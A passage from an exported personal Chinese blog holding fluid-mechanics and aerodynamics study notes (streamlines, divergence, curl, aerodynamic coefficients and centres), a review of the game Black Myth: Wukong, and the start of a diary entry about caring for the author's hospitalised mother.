z}\\frac{dz}{dt}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\because$ $\\frac{dx}{dt}=v_x,\\frac{dy}{dt}=v_y,\\frac{dz}{dt}=v_z$\u003cbr/\u003e\n$\\therefore$\u003cbr/\u003e\n$$\u003cbr/\u003e\na_x=\\frac{\\partial v_x}{\\partial t}+v_x \\frac{\\partial v_x}{\\partial x}+v_y \\frac{\\partial v_x}{\\partial y}+v_z \\frac{\\partial v_x}{\\partial z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n由此可知,加速度是时间和位置的函数\u003cbr/\u003e\n$$\u003cbr/\u003e\na_x=a_x(t,x,y,z)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e当地加速度\u003c/h4\u003e\n\u003cp\u003e等式右边第一项表示空间固定点处的流体质点速度随时间变化率,称\u003cstrong\u003e当地加速度\u003c/strong\u003e。(速度与时间关系)\u003cbr/\u003e\n当地加速度是由流场中速度随时间的变化性引起的。\u003c/p\u003e\n\u003ch4\u003e迁移加速度\u003c/h4\u003e\n\u003cp\u003e后三项反映在同一瞬时,流体质点沿速度矢量方向从空间一点运动到相邻另一点速度变化率,称为\u003cstrong\u003e迁移加速度\u003c/strong\u003e。(速度与位移关系)\u003cbr/\u003e\n迁移加速度是由流畅的不均匀性引起的。\u003c/p\u003e\n\u003ch4\u003e非定常流场\u003c/h4\u003e\n\u003cp\u003e流场中至少存在一\u003cstrong\u003e空间点\u003c/strong\u003e的物理量随时间变化。\u003c/p\u003e\n\u003ch4\u003e定常流场\u003c/h4\u003e\n\u003cp\u003e流场中\u003cstrong\u003e任意空间点\u003c/strong\u003e处的物理量不随时间变化。\u003c/p\u003e\n\u003ch3\u003e迹线\u003c/h3\u003e\n\u003cp\u003e流场中标定的运动流体质点在一段时间内所经过所有空间点的集合,称为该流体质点迹线。\u003c/p\u003e\n\u003ch3\u003e流线\u003c/h3\u003e\n\u003cp\u003e在流场中每一空间点上都\u003cstrong\u003e与速度矢量相切\u003c/strong\u003e的曲线称为流线。\u003cbr/\u003e\n流线是同一时刻不同流体质点所组成的曲线,它给出该时刻不同流体质点的速度方向。\u003cbr/\u003e\n\u003cstrong\u003e特点:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e在定常流场中各流线不随时间变化。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e非定常流场中存在随时间变化的流线。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e定常流场中,经过某一空间点的流线,与所有\u003cstrong\u003e经过该空间点的流体质点\u003c/strong\u003e的迹线重合。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e一般流线不相交(同一时刻同一空间点不存在两个速度方向)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在速度为 0 的空间点上,流线可以相交。通常称速度为 0 的空间点为\u003cstrong\u003e驻点\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在速度无穷大的空间点上,流线可以相交,通常称速度无穷大的空间点为\u003cstrong\u003e奇点\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e流线相切,切点后两线重合。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e流场中每一点都有流线通过,所有流线集合称为\u003cstrong\u003e流线谱\u003c/strong\u003e或简称\u003cstrong\u003e流谱\u003c/strong\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e流线微分方程\u003c/h3\u003e\n\u003cp\u003e设流线上某点 $M(x,y,z)$ 处速度为 $\\vec{v}$ ,$M$ 点流线微段长 $ds$ ,在笛卡尔坐标系分解为 $v_x,v_y,v_z$ 和 $dx,dy,dz$ 。\u003cbr/\u003e\n流线任一点速度方向与流线切线方向相同,则\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\cos(\\vec{v},\\vec{i})=\\frac{v_x}{v}=\\frac{dx}{ds}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\vec{i}$ 为 $x$ 轴方向单位法向量,$y,z$ 轴同理。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{dx}{v_x}=\\frac{dy}{v_y}=\\frac{dz}{v_z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n上式即为流线的微分方程式。\u003cbr/\u003e\n已知速度分布时,可求得流场中通过任一点的流线形状。\u003c/p\u003e\n\u003ch3\u003e流管\u003c/h3\u003e\n\u003cp\u003e在流场中一条\u003cstrong\u003e不为流线\u003c/strong\u003e的\u003cstrong\u003e封闭\u003c/strong\u003e曲线 C,过 C 上每一点作流线,由这些流线集合构成的管状曲面称为流管。\u003c/p\u003e\n\u003ch2\u003e流体微团运动分析\u003c/h2\u003e\n\u003ch3\u003e运动形式\u003c/h3\u003e\n\u003ch4\u003e刚体运动\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e平移运动\u003c/li\u003e\n\u003cli\u003e绕轴转动\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e流体运动\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e平移运动\u003c/li\u003e\n\u003cli\u003e绕轴转动\u003c/li\u003e\n\u003cli\u003e变形运动\u003cul\u003e\n\u003cli\u003e直线变形\u003c/li\u003e\n\u003cli\u003e剪切变形\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e二维分析\u003c/h3\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/3516697738.png\" alt=\"Pasted image 20240902212258.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e在流场中任取一矩形流体微团 ABCD,其两边的边长分别为 $\\delta_x,\\delta_y$ ,且均为小量。\u003c/p\u003e\n\u003cp\u003e设 $v_x,v_y$ 为 A 点处流体微团分速度,且分速度均为空间点坐标的连续函数,则 B, D 点速度可用泰勒级数在 A 点的展开表述。\u003cbr/\u003e\n$\\because$ 流体微团边长足够小\u003cbr/\u003e\n$\\therefore$ 二阶以上小量可忽略\u003cbr/\u003e\n$$\u003cbr/\u003e\nv_{Bx}=v_x+\\frac{\\partial v_x}{\\partial x}\\delta_x\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nv_{By}=v_y+\\frac{\\partial v_y}{x}\\delta_x\u003cbr/\u003e\n$$\u003cbr/\u003e\n流体微团运动时,除了整体运动,B 相对于 A 点也有运动。\u003cbr/\u003e\n$x$ 轴方向相对运动速度 $v_{Bx}-v_x=\\frac{\\partial v_x}{\\partial x}\\delta_x$ ,$y$ 轴方向同理 $\\frac{\\partial v_x}{\\partial x}\\delta_x$ 。\u003cbr/\u003e\nD 相对于 A 运动速度为 $v_{Dx}-v_x=\\frac{\\partial v_x}{\\partial y}\\delta_y,v_{Dy}-v_y=\\frac{\\partial v_y}{\\partial y}\\delta_y$ 。\u003c/p\u003e\n\u003ch4\u003e线变形运动\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/3764817354.png\" alt=\"Pasted image 20240902212840.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e相对速度 $\\frac{\\partial v_x}{\\partial x}\\delta_x$ 和 $\\frac{\\partial v_y}{\\partial y}\\delta_y$ 是矩形 ABCD 边线的直线形变速度,时间 $dt$ 内\u003cbr/\u003e\n$$\u003cbr/\u003e\nAB\u0026#39;=AB+\\frac{\\partial v_x}{\\partial x}\\delta_x dt\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nAD\u0026#39;=AD+\\frac{\\partial v_y}{\\partial y}\\delta_y dt\u003cbr/\u003e\n$$\u003cbr/\u003e\n矩形面积相对变化率为\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d(\\delta S)}{\\delta S \\cdot dt}=\\frac{AB\u0026#39; \\cdot CD\u0026#39;-AB \\cdot CD}{AB \\cdot CD \\cdot dt}\u003cbr/\u003e\n$$\u003cbr/\u003e\n略去高阶小量后,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d(\\delta S)}{\\delta S \\cdot dt}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e拓展到三维空间后,同理可得\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d(\\delta V)}{\\delta V \\cdot dt}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}+\\frac{\\partial v_z}{\\partial z}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e角变形运动\u003c/h4\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2463657347.png\" alt=\"Pasted image 20240902214219.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e相对速度 $\\frac{\\partial v_y}{\\partial x}\\delta x,\\frac{\\partial v_x}{\\partial y}\\delta y$ 表示 AB 边和 AD 边绕 A 点的转动。\u003cbr/\u003e\n规定逆时针转动为正,\u003cbr/\u003e\nAB 边转动角速度\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d\\alpha_1}{dt}=\\frac{\\partial v_y}{\\partial x}\\delta_x / \\delta_x=\\frac{\\partial v_y}{\\partial x}\u003cbr/\u003e\n$$\u003cbr/\u003e\n同理 AD 边转动角速度为\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d \\alpha_2}{dt}=-\\frac{\\partial v_x}{\\partial y}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch5\u003e微团绕 $z$ 轴转动角速度\u003c/h5\u003e\n\u003cp\u003e\u003cstrong\u003e定义\u003c/strong\u003e:微团在 $xOy$ 平面投影中两条\u003cstrong\u003e互相垂直线\u003c/strong\u003e绕 $z$ 轴转动角速度的\u003cstrong\u003e平均值\u003c/strong\u003e。(角速度和之半)\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\epsilon_z=\\frac{1}{2}(\\frac{\\partial v_y}{\\partial x}-\\frac{\\partial v_x}{\\partial y})\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch5\u003e角变形率\u003c/h5\u003e\n\u003cp\u003e\u003cstrong\u003e定义\u003c/strong\u003e:微团在 $xOy$ 平面投影中两条互相垂直线在\u003cstrong\u003e单位时间内\u003c/strong\u003e的夹角变化量\u003cstrong\u003e之半\u003c/strong\u003e。(角速度差之半)\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\gamma_z=\\frac{1}{2}(\\frac{\\partial v_y}{\\partial x}+\\frac{\\partial v_x}{\\partial y})\u003cbr/\u003e\n$$\u003cbr/\u003e\n拓展到三维空间后,流体微团的三轴转动角速度和角变形率同理可求。\u003cbr/\u003e\n略。\u003c/p\u003e\n\u003ch3\u003e散度\u003c/h3\u003e\n\u003cp\u003e定义:各速度分量在其分量方向上的方向导数之和为速度矢量的三度。\u003cbr/\u003e\n$$\u003cbr/\u003e\ndiv \\vec{v}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}+\\frac{\\partial v_z}{\\partial z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n物理意义:标定流体微团在运动过程中\u003cstrong\u003e相对体积变化率\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e==假设前提==:流体的密度没有发生变化(流体的运动视为不可压流)。\u003cbr/\u003e\n由一点发出的体积流量定义为\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\lim_{\\delta V \\to 0}\\frac{体积流出量-体积流入量}{\\delta V \\cdot dt}=\\frac{\\partial v_x}{\\partial x}+\\frac{\\partial v_y}{\\partial y}+\\frac{\\partial v_z}{\\partial z}\u003cbr/\u003e\n$$\u003cbr/\u003e\n等于\u003cstrong\u003e单位时间\u003c/strong\u003e内空间某一点处,\u003cstrong\u003e单位体积\u003c/strong\u003e控制体的体积\u003cstrong\u003e净流出量\u003c/strong\u003e,等于流体微团在运动中体积相对变化率。\u003c/p\u003e\n\u003ch3\u003e旋度\u003c/h3\u003e\n\u003cp\u003e定义:旋转角速度的两倍。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\vec{\\omega}=curl \\vec{v}=(\\frac{\\partial v_z}{\\partial y}-\\frac{\\partial v_y}{\\partial z})\\vec{i}+(\\frac{\\partial v_x}{\\partial z}-\\frac{\\partial v_z}{\\partial x})\\vec{j}+(\\frac{\\partial v_y}{\\partial x}-\\frac{\\partial v_x}{\\partial y})\\vec{k}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e速度位\u003c/h3\u003e\n\u003cp\u003e在流体力学中, 可根据流体微团是否有旋转运动, 而将流体运动分为\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e有旋运动\u003c/li\u003e\n\u003cli\u003e无旋运动\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e当把流动看作无旋运动时,$\\omega=0$ ,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n\\frac{\\partial v_z}{\\partial y}=\\frac{\\partial v_y}{\\partial z} \\\\\u003cbr/\u003e\n\\frac{\\partial v_x}{\\partial z}=\\frac{\\partial v_z}{\\partial x} \\\\\u003cbr/\u003e\n\\frac{\\partial v_y}{\\partial x}=\\frac{\\partial v_x}{\\partial y} \\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n上述方程组是 $v_xdx+v_ydy+v_zdz$ 构成某函数 $\\phi(x,y,z)$ 全微分的充要条件。即\u003cbr/\u003e\n$$\u003cbr/\u003e\nd \\phi=v_xdx+v_ydy+v_zdz=\\frac{\\partial \\phi}{\\partial x}dx+\\frac{\\partial \\phi}{\\partial y}dy+\\frac{\\partial \\phi}{\\partial z}dz\u003cbr/\u003e\n$$\u003cbr/\u003e\n$\\phi$ 称为速度位或速度位函数。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nv_x=\\frac{\\partial \\phi}{\\partial x}\\\\\u003cbr/\u003e\nv_y=\\frac{\\partial \\phi}{\\partial y}\\\\\u003cbr/\u003e\nv_z=\\frac{\\partial \\phi}{\\partial z}\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n使用\u003cstrong\u003e柱极坐标\u003c/strong\u003e时,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\phi=\\phi(r,\\theta,z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nv_r=\\frac{\\partial \\phi}{\\partial r}\\\\\u003cbr/\u003e\nv_\\theta=\\frac{\\partial \\phi}{\\partial \\theta}\\\\\u003cbr/\u003e\nv_z=\\frac{\\partial \\phi}{\\partial z}\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003chr/\u003e\n\u003ch1\u003e基本物理量\u003c/h1\u003e\n\u003ch2\u003e应力 :单位面积上的力称为应力\u003c/h2\u003e\n\u003ch2\u003e标量\u003c/h2\u003e\n\u003ch3\u003e压强\u003c/h3\u003e\n\u003ch3\u003e密度\u003c/h3\u003e\n\u003ch3\u003e温度\u003c/h3\u003e\n\u003ch3\u003e粘性系数\u003c/h3\u003e\n\u003ch2\u003e矢量\u003c/h2\u003e\n\u003ch3\u003e流动速度\u003c/h3\u003e\n\u003ch3\u003e剪应力\u003c/h3\u003e\n\u003ch2\u003e理想气体状态方程\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\npV=nRT\u003cbr/\u003e\n$$\u003cbr/\u003e\n$R=8.314J \\cdot mol^{-1} \\cdot K^{-1}$ 为理想摩尔气体常数。\u003cbr/\u003e\n$$\u003cbr/\u003e\np=\\frac{n \\cdot M}{V}\\frac{R}{M} T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nn(物质的量) \\cdot M(摩尔质量)=m(质量)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\np=\\rho R\u0026#39; T\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nR\u0026#39;=\\frac{R}{M}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$R\u0026#39;$ 为==比气体常数==。\u003cbr/\u003e\n理想空气 $R\u0026#39;=287J/(kg \\cdot K)$ \u003c/p\u003e\n\u003ch2\u003e空气动力及力矩\u003c/h2\u003e\n\u003ch3\u003e空气动力 $R$:Resultant\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e空气对物体的力\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e压力 $p$ :Pressure\u003c/li\u003e\n\u003cli\u003e剪应力 $\\tau$ :Shear stress\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e压力与剪应力的合力即为空气对物体作用力,空气动力。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e风轴系\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e升力 $L$ :Lift,竖直分力\u003c/li\u003e\n\u003cli\u003e阻力 $D$ :Drag,水平分力\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e自由来流(自由流)\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nV_{\\infty}\u003cbr/\u003e\n$$\u003cbr/\u003e\n自由流是指飞机前未经扰动的来流,也即没有飞机等干扰时,空气的自然流动现象。\u003cbr/\u003e\n升力与阻力的方向由自由来流方向决定。\u003c/p\u003e\n\u003ch3\u003e迎角(攻角)\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\alpha\u003cbr/\u003e\n$$\u003cbr/\u003e\n\u003cstrong\u003e迎角\u003c/strong\u003e(英语:Angle of attack,缩写为AOA,常用\u003ca href=\"https://zh.wikipedia.org/wiki/%E5%B8%8C%E8%87%98%E5%AD%97%E6%AF%8D\" title=\"希腊字母\"\u003e希腊字母\u003c/a\u003eα表示)为\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%A9%BA%E6%B0%A3%E5%8B%95%E5%8A%9B%E5%AD%B8\" title=\"空气动力学\"\u003e空气动力学\u003c/a\u003e名词,为\u003ca href=\"https://zh.wikipedia.org/wiki/%E6%A9%9F%E7%BF%BC\" title=\"机翼\"\u003e机翼\u003c/a\u003e之\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%BF%BC%E5%BC%A6\" title=\"翼弦\"\u003e翼弦\u003c/a\u003e与\u003cstrong\u003e自由流\u003c/strong\u003e(或是\u003cstrong\u003e相对风流\u003c/strong\u003e的方向)之夹角;如为飞机迎角,定义则为机轴对相对风流之夹角。当机翼向\u003cstrong\u003e上\u003c/strong\u003e为\u003cstrong\u003e正\u003c/strong\u003e迎角,向\u003cstrong\u003e下\u003c/strong\u003e则为\u003cstrong\u003e负\u003c/strong\u003e迎角。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e体轴系\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e法向力 $N$:Normal,垂直于机翼方向\u003c/li\u003e\n\u003cli\u003e轴向力 $A$:Axial,平行于机翼方向\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e力矩 $M$:Moment\u003c/h3\u003e\n\u003cp\u003e让飞机抬头的力矩为正,让飞机低头力矩为负。\u003c/p\u003e\n\u003ch3\u003e动压 $q$\u003c/h3\u003e\n\u003cp\u003e自由来流 $V_{\\infty},\\rho_{\\infty}$ 产生的动压\u003cbr/\u003e\n$$\u003cbr/\u003e\nq_{\\infty}=\\frac{1}{2}\\rho_{\\infty}V_{\\infty}^2\u003cbr/\u003e\n$$\u003cbr/\u003e\n单位为 $Pa$ ,同压强\u003c/p\u003e\n\u003ch3\u003e特征几何尺寸 $S$\u003c/h3\u003e\n\u003cp\u003e对三维物体来说是面积,对二位物体来说是周长。\u003c/p\u003e\n\u003ch3\u003e无量纲参数\u003c/h3\u003e\n\u003cp\u003e三维物体常用大写 $C$ ,二维物体常用小写 $c$ 。\u003c/p\u003e\n\u003ch4\u003e升力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_L=\\frac{L}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e阻力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_D=\\frac{D}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e法向力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_N=\\frac{N}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e轴向力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_A=\\frac{A}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e空气动力系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_R=\\frac{R}{q_{\\infty}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e力矩系数\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nC_M=\\frac{\\vec{M}}{\\vec{r} \\times \\vec{q_{\\infty}}S}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e压力系数\u003c/h4\u003e\n\u003cp\u003e$p$:某点静压\u003cbr/\u003e\n$p_{\\infty}$:自由来流静压\u003cbr/\u003e\n$$\u003cbr/\u003e\nC_p=\\frac{p-p_{\\infty}}{q_{\\infty}}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e摩擦力系数\u003c/h4\u003e\n\u003cp\u003e$\\tau$:某点剪应力,即剪应力对面积导数。量纲同压强。\u003cbr/\u003e\n$$\u003cbr/\u003e\nC_f=\\frac{\\tau}{q_{\\infty}}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch1\u003e两个中心\u003c/h1\u003e\n\u003ch2\u003e压力中心(压心)\u003c/h2\u003e\n\u003cp\u003e压力中心(Pressure Center):流体中的平面或曲面所受流体压力的合力的作用线同该平面或曲面的交点。空气动力 $R$ 对此点力矩为 $\\vec{0}$。\u003c/p\u003e\n\u003ch2\u003e空气动力中心(气动中心,焦点)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e空气动力中心\u003c/strong\u003e(英语:aerodynamic center,简称 AC)在\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%A9%BA%E6%B0%94%E5%8A%A8%E5%8A%9B%E5%AD%A6\" title=\"空气动力学\"\u003e空气动力学\u003c/a\u003e 中是指\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%BF%BC%E5%9E%8B\" title=\"翼型\"\u003e翼型\u003c/a\u003e 上的一个定点,绕该点的俯仰力矩不随\u003ca href=\"https://zh.wikipedia.org/wiki/%E8%BF%8E%E8%A7%92\" title=\"迎角\"\u003e迎角\u003c/a\u003e 的改变而变化,即\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{d C_M}{d \\alpha}=0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e气动中心与压力中心的区别\u003c/h2\u003e\n\u003cp\u003e压力中心是力系合成到一个特殊点时,使得这个点的\u003cstrong\u003e合力矩为0\u003c/strong\u003e的点,\u003cstrong\u003e压力中心在气动中心的后面\u003c/strong\u003e;而气动中心是使得\u003cstrong\u003e合力矩不变\u003c/strong\u003e的点。\u003c/p\u003e\n\u003cp\u003e压力中心的位置随着迎角的改变而改变,当迎角增大,升力增大,压力中心前移,这同时使得压力中心与气动中心的距离缩短,增大的升力与缩短力臂乘积刚好是不变的力矩,这也正是气动中心的定义所要求的。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Fundamentals-of-aerodynamics.html"},{"title":"《黑神话:悟空》游玩体验(无透)","time":"2024-08-20T13:51:00Z","content":"《悟空》不见灵山两鬓冬,云海低悬雾九重。锁住心猿拴意马,打破顽空始悟空。三清道化元神固,一藏经传紧箍松。莫问前路几春夏,灵山已在汝心中。(8.20凌晨睡不着写的烂诗,现在再看真的挺不错的)客观承...\u003chr /\u003e\u003cp\u003e\u003cstrong\u003e《悟空》\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e不见灵山两鬓冬,云海低悬雾九重。\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e锁住心猿拴意马,打破顽空始悟空。\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e三清道化元神固,一藏经传紧箍松。\u003c/strong\u003e\u003cbr/\u003e\n\u003cstrong\u003e莫问前路几春夏,灵山已在汝心中。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e(8.20凌晨睡不着写的烂诗,现在再看真的挺不错的)\u003c/p\u003e\n\u003cp\u003e客观承认,黑神话:悟空还存在许多bug与优化问题,我一个朋友4060Ti游戏打不开被挡在门外多时。\u003cbr/\u003e\n我目前没有碰到bug,偶有卡顿掉帧但很少(12400F+7700XT)\u003c/p\u003e\n\u003ch2\u003e关于空气墙\u003c/h2\u003e\n\u003cp\u003e空气墙问题存在,属于游科开发经验不足或是做出了取舍。许多看似能过的路,走近却发现是空气墙。当然许多空气墙处已经放了断木、矮石挡着,但对于有跳跃的3D游戏这很难打消玩家探索的欲望。在大家都知道游戏里藏了许多东西的情况下,我喜欢到处乱窜寻找这些隐藏内容,空气墙经常挫伤我的探索热情——你不知道前面那条看似能通过的竹林是空气墙还是真有东西。\u003cbr/\u003e\n事实上游戏是一个个箱庭式关卡,只不过路很多、有高低差、没有地图,偶有两条路是能通联通的。这不是开放世界,用空气墙而非其他路障阻隔两条路很容易误导新手。\u003c/p\u003e\n\u003ch2\u003e关于引导\u003c/h2\u003e\n\u003cp\u003e土地庙(复活/存档点)附近有明显光迹引导,主线必经的妖王也会在沿路放火盆引导。其实一开始土地就提示了沿火盆走,但这个提示很容易被忽略以至于迷路。\u003cbr/\u003e\n缺乏地图的情况下确实很容易迷路,尤其是第一回山林中,到处是一样的植被,而许多洞口阴暗不明显,我打完广智转了半个小时才找到灵虚子。\u003c/p\u003e\n\u003ch2\u003e关于地图\u003c/h2\u003e\n\u003cp\u003e有时候我想有地图会不会解决各种麻烦,可若是提前知道了地图样貌,对于这样的箱庭式设计来说,会不会少了很多惊喜(每条路的尽头都有头目/妖王/宝物等)。或许给一个空地图然后经过的地方绘制着色是个可行的方案,就算不放在左上角常驻也可以放在设置(或土地庙)里。\u003c/p\u003e\n\u003ch2\u003e关于锁定\u003c/h2\u003e\n\u003cp\u003e我觉得现在的锁定已经做得很好了,可以优化的点是有些boss招式位移又快有大视角拉不过来。有些boss的技能脱锁后需要自己再次锁定,在每分每秒都分外危险的战斗中这种临时脱锁真是致命(比如虎先锋骗石化后会接个大拳脱锁,大拳好躲但重新锁定很费神,这段时间在视线外再接个斩刀就会掉大半血。)。\u003cbr/\u003e\n我目前还卡在虎先锋,猴头下酒几十次(\u003cstrong\u003e菜,就多练\u003c/strong\u003e)。\u003c/p\u003e\n\u003ch2\u003e评价\u003c/h2\u003e\n\u003cp\u003e这是一部\u003cstrong\u003e有瑕之作\u003c/strong\u003e,但仅就我已经体验过的内容它真的值得90+的分数,不算各种文化、情怀加成。\u003cbr/\u003e\n我愿意给它\u003cstrong\u003e100分\u003c/strong\u003e,因为这是独属于中华民族的骄傲和浪漫。外国人一玩就明白了,玩不明白就去学。\u003cbr/\u003e\n我相信,\u003cstrong\u003e越是民族的,越是世界的。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e相信游科已经给各位天命人和自己交出了一份满意的答卷——《黑神话:悟空》并不完美,但它称得上是中国第一部3A,也对得起这4年的期待。\u003c/p\u003e\n\u003cp\u003e只管往前走吧,走上取经路,比抵达灵山更重要。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/WuKong.html"},{"title":"日寄其一","time":"2024-08-03T16:02:00Z","content":"上次更新是一个月前,倒不是多忙(虽然确实有忙的时候)。只是身不由己,世事难料,无心码字。路千里,朔风吹客衣考完期末不久就赶到同济医院照顾我妈,一如小学五年级她赶来照顾我一样。同济住院部 2 号楼...\u003chr /\u003e\u003cp\u003e上次更新是一个月前,倒不是多忙(虽然确实有忙的时候)。只是身不由己,世事难料,无心码字。\u003c/p\u003e\n\u003ch2\u003e路千里,朔风吹客衣\u003c/h2\u003e\n\u003cp\u003e考完期末不久就赶到同济医院照顾我妈,一如小学五年级她赶来照顾我一样。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/3979775032.jpg\" alt=\"IMG_0162.JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n同济住院部 2 号楼拍的,楼顶很晒风很大,晒衣服得用绳子绑紧。\u003cbr/\u003e\n出院后在家呆了十几天,什么也没做就是每天上潮和逆转裁判混日子。\u003cbr/\u003e\n在家吃吃喝喝,拿西瓜榨汁冰起来好喝极了,香蕉加牛奶也不错。\u003c/p\u003e\n\u003ch2\u003e长安去,辞家三千里\u003c/h2\u003e\n\u003cp\u003e等到她能照顾自己了,我又乘上去长安的车。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/08/4064831348.jpg\" alt=\"IMG_0330.JPG\" 